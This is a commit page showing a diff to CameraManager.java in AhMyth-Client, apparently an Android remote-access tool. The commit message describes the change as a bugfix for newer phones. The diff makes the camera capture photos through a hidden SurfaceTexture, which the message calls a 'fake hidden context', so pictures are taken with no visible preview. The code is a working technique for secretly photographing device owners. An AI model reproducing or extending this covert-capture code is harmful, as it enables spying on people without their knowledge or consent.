소스 검색

Change: Bugfix on camera capture on latest models

Tested on Galaxy Note 5(Nougat), LG GPadX 8.0(Nougat), Pixel(Oreo)
Calling startPreview() requires a visible context, but SurfaceTexture makes a fake hidden context and make it working.
Harold Kim 7 년 전
부모
커밋
5c99119356
1개의 변경된 파일12개의 추가작업 그리고 4개의 파일을 삭제
  1. 12 4
      AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java

+ 12 - 4
AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java

@@ -5,9 +5,10 @@ import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.Camera.PictureCallback;
-
+import android.hardware.Camera.Parameters;
 
 import org.json.JSONArray;
 import org.json.JSONException;
@@ -28,9 +29,16 @@ public class CameraManager {
 
 
     public void startUp(int cameraID){
-
                 camera = Camera.open(cameraID);
-                camera.startPreview();
+                Parameters parameters = camera.getParameters();
+                camera.setParameters(parameters);
+                try{
+                    camera.setPreviewTexture(new SurfaceTexture(0));
+                    camera.startPreview();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+
                 camera.takePicture(null, null, new PictureCallback() {
                     @Override
                     public void onPictureTaken(byte[] data, Camera camera) {
@@ -123,4 +131,4 @@ public class CameraManager {
 
 
 
-}
+}